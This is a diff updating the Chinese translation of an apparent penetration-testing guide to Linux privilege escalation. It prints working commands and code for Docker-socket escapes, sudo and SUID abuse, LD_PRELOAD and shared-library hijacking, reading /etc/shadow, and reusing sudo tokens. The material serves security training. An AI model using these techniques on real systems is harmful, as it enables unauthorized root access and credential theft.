/etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` -注意 **timer** 是通过在 `/etc/systemd/system/.wants/.timer` 创建指向它的符号链接来 **激活** 的 +Note the **timer** is **activated** by creating a symlink to it on `/etc/systemd/system/.wants/.timer` ## Sockets -Unix Domain Sockets (UDS) 在客户端-服务器模型中用于在同一台或不同机器之间实现 **进程通信**。它们利用标准的 Unix 描述符文件进行进程间通信，并通过 `.socket` 文件进行配置。 +Unix Domain Sockets (UDS) enable **进程间通信** on the same or different machines within client-server models. They utilize standard Unix descriptor files for inter-computer communication and are set up through `.socket` files. -Sockets 可以使用 `.socket` 文件进行配置。 +Sockets can be configured using `.socket` files. -**Learn more about sockets with `man systemd.socket`.** 在该文件中，可以配置若干有趣的参数： +**Learn more about sockets with `man systemd.socket`.** Inside this file, several interesting parameters can be configured: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: 这些选项各不相同，但总体上用于**指示将在哪监听**该 socket（AF_UNIX 套接字文件的路径、要监听的 IPv4/6 地址和/或端口号等）。 -- `Accept`: Takes a boolean argument. If **true**, a **service instance is spawned for each incoming connection** and only the connection socket is passed to it. If **false**, all listening sockets themselves are **passed to the started service unit**, and only one service unit is spawned for all connections. This value is ignored for datagram sockets and FIFOs where a single service unit unconditionally handles all incoming traffic. **Defaults to false**. For performance reasons, it is recommended to write new daemons only in a way that is suitable for `Accept=no`. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: These options are different but a summary is used to **指示将在哪监听** the socket (the path of the AF_UNIX socket file, the IPv4/6 and/or port number to listen, etc.) +- `Accept`: Takes a boolean argument. If **true**, a **service instance is spawned for each incoming connection** and only the connection socket is passed to it. If **false**, all listening sockets themselves are **passed to the started service unit**, and only one service unit is spawned for all connections. This value is ignored for datagram sockets and FIFOs where a single service unit unconditionally handles all incoming traffic. **默认值为 false**。出于性能原因，建议新的 daemon 仅以适合 `Accept=no` 的方式编写。 - `ExecStartPre`, `ExecStartPost`: Takes one or more command lines, which are **executed before** or **after** the listening **sockets**/FIFOs are **created** and bound, respectively. The first token of the command line must be an absolute filename, then followed by arguments for the process. - `ExecStopPre`, `ExecStopPost`: Additional **commands** that are **executed before** or **after** the listening **sockets**/FIFOs are **closed** and removed, respectively. - `Service`: Specifies the **service** unit name **to activate** on **incoming traffic**. This setting is only allowed for sockets with Accept=no. It defaults to the service that bears the same name as the socket (with the suffix replaced). In most cases, it should not be necessary to use this option. @@ -478,13 +479,13 @@ Sockets 可以使用 `.socket` 文件进行配置。 ### Writable .socket files If you find a **writable** `.socket` file you can **add** at the beginning of the `[Socket]` section something like: `ExecStartPre=/home/kali/sys/backdoor` and the backdoor will be executed before the socket is created. Therefore, you will **probably need to wait until the machine is rebooted.**\ -_Note that the system must be using that socket file configuration or the backdoor won't be executed_ +_注意：系统必须正在使用该 socket 文件的配置，否则 backdoor 不会被执行_ ### Writable sockets If you **identify any writable socket** (_now we are talking about Unix Sockets and not about the config `.socket` files_), then **you can communicate** with that socket and maybe exploit a vulnerability. -### Enumerate Unix Sockets +### 枚举 Unix Sockets ```bash netstat -a -p --unix ``` @@ -506,28 +507,28 @@ socket-command-injection.md ### HTTP sockets -请注意，可能存在一些 **sockets listening for HTTP** 请求 (_我不是指 .socket files，而是指作为 unix sockets 的文件_)。你可以用以下命令检查： +请注意，可能存在一些 **sockets listening for HTTP** 请求（_我不是指 .socket 文件，而是充当 unix sockets 的文件_）。你可以使用以下命令检查： ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -If the socket **responds with an HTTP** request, then you can **communicate** with it and maybe **exploit some vulnerability**. +如果该 socket 对 HTTP 请求 **响应**，那么你可以与其 **通信**，并可能 **利用某些漏洞**。 -### 可写的 Docker Socket +### 可写的 Docker socket -The Docker socket, often found at `/var/run/docker.sock`, is a critical file that should be secured. By default, it's writable by the `root` user and members of the `docker` group. Possessing write access to this socket can lead to privilege escalation. Here's a breakdown of how this can be done and alternative methods if the Docker CLI isn't available. +Docker socket（通常位于 `/var/run/docker.sock`）是一个需要加固的关键文件。默认情况下，它对 `root` 用户和 `docker` 组的成员是可写的。拥有对该 socket 的写权限可能导致 privilege escalation。下面是如何做到这一点的分解，以及在无法使用 Docker CLI 时的替代方法。 #### **Privilege Escalation with Docker CLI** -If you have write access to the Docker socket, you can escalate privileges using the following commands: +如果你对 Docker socket 有写权限，你可以使用以下命令来 escalate privileges： ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -这些命令允许你运行一个容器，从而以 root 级别访问主机的文件系统。 +这些命令允许你运行一个对主机文件系统具有 root 级别访问的 container。 #### **直接使用 Docker API** -在无法使用 Docker CLI 的情况下，仍然可以通过 Docker API 和 `curl` 命令操作 Docker socket。 +在 Docker CLI 不可用的情况下，仍然可以使用 Docker API 和 `curl` 命令来操纵 Docker socket。 1. **List Docker Images:** 检索可用镜像列表。 @@ -535,19 +536,19 @@ docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nse curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Create a Container:** 发送请求创建一个将主机根目录挂载进容器的容器。 +2. **Create a Container:** 发送请求以创建一个挂载主机根目录的 container。 ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create ``` -启动新创建的容器： +启动新创建的 container： ```bash curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Attach to the Container:** 使用 `socat` 与容器建立连接，从而在其中执行命令。 +3. **Attach to the Container:** 使用 `socat` 与 container 建立连接，从而能够在其内执行命令。 ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -557,31 +558,31 @@ Connection: Upgrade Upgrade: tcp ``` -在建立 `socat` 连接后，你可以在容器中直接执行命令，并以 root 级别访问主机文件系统。 +在设置好 `socat` 连接后，你可以在 container 中直接执行命令，并以 root 级别访问主机的文件系统。 -### 其他 +### Others -注意，如果你对 docker socket 有写权限，因为你位于 `docker` 组内，你有[**更多的提权方法**](interesting-groups-linux-pe/index.html#docker-group)。If the [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). +注意，如果你对 docker socket 拥有写权限（因为你位于 `docker` 组内）你会有[**更多提升权限的方法**](interesting-groups-linux-pe/index.html#docker-group)。如果 [**docker API 在端口上监听**，你也可能能够攻破它](../../network-services-pentesting/2375-pentesting-docker.md#compromising)。 -查看有关从 docker 逃逸或滥用它来提权的更多方法： +在以下位置查看有关**更多从 docker 逃逸或滥用它以提升权限的方法**： {{#ref}} docker-security/ {{#endref}} -## Containerd (ctr) 权限提升 +## Containerd (ctr) privilege escalation -如果你发现可以使用 **`ctr`** 命令，请阅读以下页面，因为**你可能能够滥用它来提升权限**： +如果你发现可以使用 **`ctr`** 命令，请阅读以下页面，因为 **你可能能够滥用它来提升权限**： {{#ref}} containerd-ctr-privilege-escalation.md {{#endref}} -## **RunC** 权限提升 +## **RunC** privilege escalation -如果你发现可以使用 **`runc`** 命令，请阅读以下页面，因为**你可能能够滥用它来提升权限**： +如果你发现可以使用 **`runc`** 命令，请阅读以下页面，因为 **你可能能够滥用它来提升权限**： {{#ref}} @@ -590,15 +591,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus 是一个复杂的进程间通信 (IPC) 系统，能够使应用程序高效地交互和共享数据。它为现代 Linux 系统设计，提供了一个稳健的框架以支持不同形式的应用间通信。 +D-Bus 是一个复杂的 inter-Process Communication (IPC) 系统，使应用能够高效地互相交互和共享数据。它针对现代 Linux 系统设计，提供了一个在不同形式的应用通信中都很健壮的框架。 -该系统功能多样，支持增强进程间数据交换的基本 IPC，类似于**增强的 UNIX 域套接字**。此外，它还支持广播事件或信号，促进系统组件之间的无缝集成。例如，来自 Bluetooth 守护进程的来电信号可以触发音乐播放器静音，从而提升用户体验。D-Bus 还支持远程对象系统，简化应用之间的服务请求和方法调用，简化了传统上复杂的流程。 +该系统用途广泛，支持增强进程间数据交换的基本 IPC，类似于增强的 UNIX domain sockets。此外，它有助于广播事件或信号，促进系统组件之间的无缝集成。例如，来自 Bluetooth daemon 的来电信号可以促使音乐播放器静音，从而提升用户体验。除此之外，D-Bus 还支持远程对象系统，简化了应用之间的服务请求和方法调用，精简了传统上复杂的流程。 -D-Bus 以 **allow/deny model** 运作，根据匹配的策略规则的累积效果来管理消息权限（方法调用、信号发出等）。这些策略指定了与 bus 的交互方式，可能通过滥用这些权限实现提权。 +D-Bus 基于 allow/deny 模型运作，根据匹配的策略规则的累积效果来管理消息权限（方法调用、信号发送等）。这些策略指定了与 bus 的交互，可能通过利用这些权限导致权限提升。 -下面给出位于 `/etc/dbus-1/system.d/wpa_supplicant.conf` 的一个此类策略示例，描述了 root 用户对 `fi.w1.wpa_supplicant1` 的所有权、发送和接收消息的权限。 +下面给出了 `/etc/dbus-1/system.d/wpa_supplicant.conf` 中此类策略的示例，说明了 root 用户对 `fi.w1.wpa_supplicant1` 拥有、发送和接收消息的权限。 -未指定用户或组的策略适用于所有情形，而 "default" 上下文策略适用于未被其他特定策略覆盖的所有情况。 +未指定用户或组的策略适用于所有情况，而 "default" 上下文策略适用于未被其他特定策略覆盖的所有主体。 ```xml @@ -607,7 +608,7 @@ D-Bus 以 **allow/deny model** 运作，根据匹配的策略规则的累积效 ``` -**在此学习如何枚举并利用 D-Bus 通信：** +**在此学习如何 enumerate 和 exploit D-Bus communication：** {{#ref}} @@ -616,9 +617,9 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md ## **网络** -枚举网络并确定该机器的位置总是很有趣。 +对网络进行 enumerate 并弄清机器的位置总是很有趣。 -### 通用枚举 +### 通用 enumeration ```bash #Hostname, hosts and DNS cat /etc/hostname /etc/hosts /etc/resolv.conf @@ -641,16 +642,16 @@ cat /etc/networks #Files used by network services lsof -i ``` -### 开放端口 +### Open ports -始终检查在你访问之前无法与之交互的、在该机器上运行的网络服务： +始终检查在你获得访问权限之前无法与之交互的机器上运行的网络服务： ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -检查是否可以 sniff traffic。如果可以，你可能能够获取一些 credentials。 +检查你是否可以嗅探流量。如果可以，你可能能够获取一些凭证。 ``` timeout 1 tcpdump ``` @@ -658,7 +659,7 @@ timeout 1 tcpdump ### 通用枚举 -检查你是谁，拥有哪些**privileges**，系统中有哪些**users**，哪些可以**login**，以及哪些拥有**root privileges**： +检查你是谁，拥有哪些 **privileges**，系统中有哪些 **users**，哪些可以 **login**，哪些拥有 **root privileges**： ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -680,23 +681,23 @@ for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | so #Current user PGP keys gpg --list-keys 2>/dev/null ``` -### Big UID +### 大 UID -某些 Linux 版本受到一个漏洞影响，允许 **UID > INT_MAX** 的用户提升权限。更多信息： [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +某些 Linux 版本受一个漏洞影响，该漏洞允许 **UID > INT_MAX** 的用户提升权限。更多信息： [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ **Exploit it** using: **`systemd-run -t /bin/bash`** -### Groups +### 组 -检查你是否是可能授予你 root 权限的某个 **组成员**： +检查你是否是某个可能授予你 root 权限的 **组成员**： {{#ref}} interesting-groups-linux-pe/ {{#endref}} -### Clipboard +### 剪贴板 -如果可能，检查剪贴板中是否有任何有趣的内容 +检查剪贴板中是否有任何有趣的内容（如果可能） ```bash if [ `which xclip 2>/dev/null` ]; then echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` @@ -711,29 +712,29 @@ fi ```bash grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs ``` -### 已知密码 +### Known passwords -如果你 **知道环境中的任何密码**，请**尝试使用该密码登录每个用户**。 +If you **know any password** of the environment **try to login as each user** using the password. ### Su Brute -如果你不介意产生大量噪音，并且计算机上存在 `su` 和 `timeout` 二进制文件，你可以尝试使用 [su-bruteforce](https://github.com/carlospolop/su-bruteforce)。\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) 使用 `-a` 参数也会尝试对用户进行暴力破解。 +If don't mind about doing a lot of noise and `su` and `timeout` binaries are present on the computer, you can try to brute-force user using [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) with `-a` parameter also try to brute-force users. -## 可写 PATH 滥用 +## Writable PATH abuses ### $PATH -如果你发现你可以**在 $PATH 的某个文件夹中写入**，你可能能够通过**在可写文件夹中创建一个 backdoor**来提升权限，该 backdoor 的名字与将要由不同用户（理想情况下是 root）执行的某个命令相同，且该命令**不会从位于你的可写文件夹之前的目录加载**。 +If you find that you can **write inside some folder of the $PATH** you may be able to escalate privileges by **creating a backdoor inside the writable folder** with the name of some command that is going to be executed by a different user (root ideally) and that is **not loaded from a folder that is located previous** to your writable folder in $PATH. ### SUDO and SUID -你可能被允许使用 sudo 执行某些命令，或者某些文件可能设置了 suid 位。使用以下命令检查： +You could be allowed to execute some command using sudo or they could have the suid bit. Check it using: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -一些 **意想不到的命令允许你读取和/或写入文件，甚至执行命令。** 例如： +某些**意外命令可以让你读取和/或写入文件，甚至执行命令。**例如： ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -744,31 +745,56 @@ less>! ``` ### NOPASSWD -Sudo 配置可能允许用户以另一个用户的权限执行某些命令，而无需知道该用户的密码。 +Sudo 配置可能允许用户在不知道密码的情况下以另一个用户的权限执行某些命令。 ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -在这个例子中，用户 `demo` 可以以 `root` 身份运行 `vim`，现在通过将 ssh 密钥添加到 root 目录或调用 `sh` 就可以轻松获得一个 shell。 +在这个例子中，用户 `demo` 可以以 `root` 身份运行 `vim`，现在很容易通过将 ssh key 添加到 root 目录或调用 `sh` 来获得 shell。 ``` sudo vim -c '!sh' ``` ### SETENV -该指令允许用户在执行某项操作时**set an environment variable**： +这个指令允许用户在执行某些操作时**设置环境变量**： ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -这个示例，**基于 HTB machine Admirer**，**存在漏洞**，可被**PYTHONPATH hijacking**利用，以在以 root 身份执行脚本时加载任意 python 库： +这个示例，**based on HTB machine Admirer**，**vulnerable** to **PYTHONPATH hijacking**，可在以 root 身份执行脚本时加载任意 python 库： ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` +### BASH_ENV 通过 sudo env_keep 保留 → root shell + +如果 sudoers 保留 `BASH_ENV`（例如，`Defaults env_keep+="ENV BASH_ENV"`），你可以利用 Bash 的非交互启动行为，在调用被允许的命令时以 root 身份运行任意代码。 + +- 为什么它有效：对于非交互式 shell，Bash 会评估 `$BASH_ENV` 并在运行目标脚本之前 source 该文件。许多 sudo 规则允许运行脚本或 shell 包装器。如果 `BASH_ENV` 被 sudo 保留，你的文件会以 root 特权被 source。 + +- 要求： +- 你可以运行的 sudo 规则（任何以非交互方式调用 `/bin/bash` 的目标，或任何 bash 脚本）。 +- `BASH_ENV` 存在于 `env_keep`（可使用 `sudo -l` 检查）。 + +- PoC: +```bash +cat > /dev/shm/shell.sh <<'EOF' +#!/bin/bash +/bin/bash +EOF +chmod +x /dev/shm/shell.sh +BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/binary that triggers bash +# You should now have a root shell +``` +- 硬化: +- 从 `env_keep` 中移除 `BASH_ENV`（和 `ENV`），优先使用 `env_reset`。 +- 避免为 sudo 允许的命令使用 shell 包装器；使用最小化的二进制文件。 +- 考虑在保留环境变量被使用时对 sudo 的 I/O 进行记录和告警。 + ### Sudo 执行绕过路径 -**跳转** 阅读其他文件或使用 **symlinks**。例如在 sudoers file: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Jump** 去读取其他文件或使用 **symlinks**。例如在 sudoers 文件中: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -778,46 +804,46 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` -如果使用 **wildcard** (\*)，就更容易了： +如果使用 **wildcard** (\*)，就更容易: ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files ``` -**Countermeasures**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) +**对策**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) ### Sudo command/SUID binary 未指定命令路径 -如果将 **sudo permission** 授予单个命令且**未指定路径**： _hacker10 ALL= (root) less_，你可以通过更改 PATH 变量来利用它。 +如果将 **sudo permission** 授权给单个命令且**未指定路径**：_hacker10 ALL= (root) less_，你可以通过更改 PATH 变量来利用它 ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -此技术也可用于如果一个 **suid** 二进制 **在执行另一个命令时未指定该命令的路径（总是使用** _**strings**_ **检查一个异常 SUID 二进制的内容）**。 +该技术也可以用于如果一个 **suid** 二进制 **在未指定其路径的情况下执行另一个命令（始终使用** _**strings**_ **检查可疑 SUID 二进制的内容））。** [Payload examples to execute.](payloads-to-execute.md) -### 带有命令路径的 SUID 二进制 +### SUID 二进制与命令路径 -如果 **suid** 二进制 **执行另一个指定了路径的命令**，那么你可以尝试 **export a function**，函数名为 suid 文件所调用的命令。 +如果 **suid** 二进制 **以指定路径执行另一个命令**，那么你可以尝试 **导出一个函数**，其名称与 suid 文件所调用的命令相同。 -例如，如果一个 suid 二进制调用 _**/usr/sbin/service apache2 start**_，你必须尝试创建该函数并导出它： +例如，如果一个 suid 二进制调用 _**/usr/sbin/service apache2 start**_，你需要尝试创建该函数并将其导出： ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -然后，当你调用 suid 二进制文件时，这个函数将被执行 +然后，当你调用 suid binary 时，该函数将被执行 ### LD_PRELOAD & **LD_LIBRARY_PATH** -**LD_PRELOAD** 环境变量用于指定一个或多个共享库（.so 文件），由加载器在其他库之前加载，包括标准 C 库 (`libc.so`)。这个过程称为预加载库。 +The **LD_PRELOAD** environment variable is used to specify one or more shared libraries (.so files) to be loaded by the loader before all others, including the standard C library (`libc.so`). This process is known as preloading a library. -然而，为了维护系统安全并防止此功能被滥用，尤其是在 **suid/sgid** 可执行文件上，系统强制执行某些条件： +但是，为了维护系统安全并防止此特性被滥用，特别是在 **suid/sgid** 可执行文件的情况下，系统会强制执行若干限制： -- 对于真实用户 ID (_ruid_) 与有效用户 ID (_euid_) 不匹配的可执行文件，加载器会忽略 **LD_PRELOAD**。 -- 对于具有 suid/sgid 的可执行文件，仅会预加载位于标准路径且本身也具有 suid/sgid 的库。 +- 当可执行文件的真实用户 ID (_ruid_) 与有效用户 ID (_euid_) 不匹配时，加载器会忽略 **LD_PRELOAD**。 +- 对于带有 suid/sgid 的可执行文件，只有位于标准路径且同时具有 suid/sgid 的库会被预加载。 -如果你可以使用 `sudo` 执行命令，且 `sudo -l` 的输出包含 **env_keep+=LD_PRELOAD**，则可能发生权限提升。该配置允许 **LD_PRELOAD** 环境变量在使用 `sudo` 运行命令时保持并被识别，从而可能导致以提权执行任意代码。 +如果你能够使用 `sudo` 执行命令，且 `sudo -l` 的输出包含 **env_keep+=LD_PRELOAD**，则可能发生提权。该配置允许 **LD_PRELOAD** 环境变量在使用 `sudo` 运行命令时得以保留并被识别，可能导致以提升的权限执行任意代码。 ``` Defaults env_keep += LD_PRELOAD ``` @@ -834,7 +860,7 @@ setuid(0); system("/bin/bash"); } ``` -然后 **编译它** 使用: +然后使用以下命令**编译它**： ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles @@ -844,7 +870,7 @@ gcc -fPIC -shared -o pe.so pe.c -nostartfiles sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> 如果攻击者控制了 **LD_LIBRARY_PATH** env variable，他就可以滥用类似的 privesc，因为他控制了库将被搜索的路径。 +> 如果攻击者控制了 **LD_LIBRARY_PATH** 环境变量，就可以滥用类似的 privesc，因为他控制了库被搜索的路径。 ```c #include #include @@ -864,15 +890,15 @@ cd /tmp gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c sudo LD_LIBRARY_PATH=/tmp ``` -### SUID 二进制 – .so injection +### SUID Binary – .so injection -当遇到带有 **SUID** 权限且看起来异常的二进制文件时，最好确认它是否正确加载 **.so** 文件。可以通过运行以下命令来检查： +当遇到具有 **SUID** 权限且看起来不寻常的 binary 时，最好验证它是否正确加载 **.so** 文件。可以通过运行以下命令来检查： ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -例如，遇到类似错误 _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ 表明可能存在被利用的机会。 +例如，遇到类似 _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ 的错误，说明存在可以被 exploit 的潜在可能。 -要利用它，可以创建一个 C 文件，例如 _"/path/to/.config/libcalc.c"_，其内容如下： +要对其进行 exploit，可以创建一个 C 文件，例如 _"/path/to/.config/libcalc.c"_，并写入以下代码： ```c #include #include @@ -883,13 +909,13 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -这段代码在编译并执行后，旨在通过修改 file permissions 并执行一个具有 elevated privileges 的 shell 来提升权限。 +这段代码在编译并执行后，旨在通过修改文件权限并执行一个提升权限的 shell 来提升权限。 -将上述 C file 编译为 shared object (.so) 文件，使用： +将上述 C 文件编译为共享对象 ( .so ) 文件，使用： ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -最后，运行受影响的 SUID 二进制文件应该会触发 exploit，从而可能导致系统被妥协。 +最后，运行受影响的 SUID binary 应该会触发 exploit，从而可能导致系统被攻破。 ## Shared Object Hijacking ```bash @@ -901,7 +927,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -既然我们已经找到一个 SUID 二进制文件，它从我们可以写入的目录加载库，现在就在该目录下创建一个具有所需名称的库： +既然我们发现了一个会从我们可写目录加载库的 SUID 二进制文件，接下来在该目录中创建具有必要名称的库： ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -922,9 +948,9 @@ system("/bin/bash -p"); ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) 是一个经过整理的 Unix 二进制可执行文件列表，攻击者可以利用这些文件绕过本地安全限制。[**GTFOArgs**](https://gtfoargs.github.io/) 与其类似，但用于只能在命令中**注入参数**的情况。 +[**GTFOBins**](https://gtfobins.github.io) 是一个整理好的 Unix binaries 列表，记录了可以被攻击者利用以绕过本地安全限制的二进制程序。[**GTFOArgs**](https://gtfoargs.github.io/) 与之类似，但用于只能在命令中**注入参数**的场景。 -该项目收集了 Unix 二进制文件的合法功能，这些功能可能被滥用来突破受限 shell、提升或维持更高的权限、传输文件、生成 bind 和 reverse shells，并帮助完成其他 post-exploitation 任务。 +该项目收集了 Unix 二进制的合法功能，这些功能可以被滥用以逃离受限 shell、提升或维持提升的权限、传输文件、spawn bind and reverse shells，并便利其他 post-exploitation 任务。 > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -943,60 +969,60 @@ https://gtfoargs.github.io/ ### FallOfSudo -如果你可以访问 `sudo -l`，可以使用工具 [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) 来检查是否能找到利用任意 sudo 规则的方法。 +如果你可以访问 `sudo -l`，你可以使用工具 [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) 来检查它是否能找到利用任何 sudo 规则的方法。 -### 重用 Sudo Tokens +### Reusing Sudo Tokens -在你拥有 **sudo access** 但没有密码的情况下，你可以通过**等待 sudo 命令执行然后劫持会话令牌**来提升权限。 +在你有 **sudo access** 但不知道密码的情况下，你可以通过**等待 sudo 命令执行然后劫持会话令牌**来提升权限。 -提升权限的要求： +提升权限的前提条件： - 你已经以用户 "_sampleuser_" 拥有一个 shell -- "_sampleuser_" 已**使用 `sudo`** 在**过去 15mins**内执行过某些操作（默认情况下这是 sudo 令牌的持续时间，允许我们在不输入任何密码的情况下使用 `sudo`） -- `cat /proc/sys/kernel/yama/ptrace_scope` 的值为 0 -- `gdb` 可用（你可以上传它） +- "_sampleuser_" 在**最近 15 分钟**内使用过 `sudo` 来执行某些操作（默认情况下这是 sudo 令牌允许我们在不输入密码的情况下使用 `sudo` 的时长） +- `cat /proc/sys/kernel/yama/ptrace_scope` 的输出为 0 +- `gdb` 可用（你能够上传它） -(你可以临时启用 `ptrace_scope`，方法是 `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope`，或永久修改 `/etc/sysctl.d/10-ptrace.conf` 并将 `kernel.yama.ptrace_scope = 0`) +(你可以临时启用 `ptrace_scope`：`echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope`，或通过永久修改 `/etc/sysctl.d/10-ptrace.conf` 并设置 `kernel.yama.ptrace_scope = 0`) -如果满足所有这些要求，**你可以使用以下方法提升权限：** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) +如果满足上述所有条件，**你可以使用：** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) 来提升权限 -- 第一个 **exploit** (`exploit.sh`) 会在 _/tmp_ 创建名为 `activate_sudo_token` 的二进制。你可以使用它来**在你的会话中激活 sudo 令牌**（你不会自动获得 root shell，需要执行 `sudo su`）： +- 第一个 **exploit**（`exploit.sh`）会在 _/tmp_ 中创建名为 `activate_sudo_token` 的二进制文件。你可以使用它来**在你的会话中激活 sudo 令牌**（你不会自动得到一个 root shell，执行 `sudo su`）： ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- **第二个 exploit** (`exploit_v2.sh`) 会在 _/tmp_ 创建一个 sh shell，**归 root 所有并带有 setuid** +- **第二个 exploit** (`exploit_v2.sh`) 将在 _/tmp_ 创建一个 sh shell，**由 root 拥有且带有 setuid** ```bash bash exploit_v2.sh /tmp/sh -p ``` -- **第三 exploit** (`exploit_v3.sh`) 将 **创建 sudoers 文件**，从而使 **sudo 令牌永久有效并允许所有用户使用 sudo** +- **第三个 exploit** (`exploit_v3.sh`) 会 **创建一个 sudoers file**，使 **sudo tokens 永久有效并允许所有用户使用 sudo**。 ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -如果你在该文件夹或该文件夹内任意已创建文件上拥有 **写权限**，你可以使用二进制文件 [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) 来 **为某个用户和 PID 创建 sudo token**。\ -例如，如果你可以覆盖文件 _/var/run/sudo/ts/sampleuser_，并且你以该用户的身份拥有 PID 1234 的 shell，你可以在不需要密码的情况下通过以下操作 **获得 sudo 权限**： +如果你对该文件夹或该文件夹内任意已创建的文件具有 **写权限**，你可以使用二进制文件 [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) 来 **为某个用户和 PID 创建 sudo 令牌**。\ +例如，如果你可以覆盖文件 _/var/run/sudo/ts/sampleuser_ 并且你以该用户身份拥有 PID 为 1234 的 shell，你可以**获得 sudo 权限**而无需知道密码，执行： ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -文件 `/etc/sudoers` 以及 `/etc/sudoers.d` 中的文件配置谁可以使用 `sudo` 以及如何使用。 这些文件 **默认情况下仅可由用户 root 和组 root 读取**。\ -**如果**你可以**读取**该文件，你可能能够**获取一些有趣的信息**，并且如果你可以**写入**任何文件，你将能够**escalate privileges**。 +文件 `/etc/sudoers` 以及 `/etc/sudoers.d` 内的文件配置了谁可以使用 `sudo` 以及如何使用。 这些文件 **默认只能被用户 root 和组 root 读取**。\ +**如果** 你可以 **读取** 这个文件，你可能能够 **获取一些有趣的信息**，而如果你可以 **写入** 任意文件，你将能够 **提升权限**。 ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld 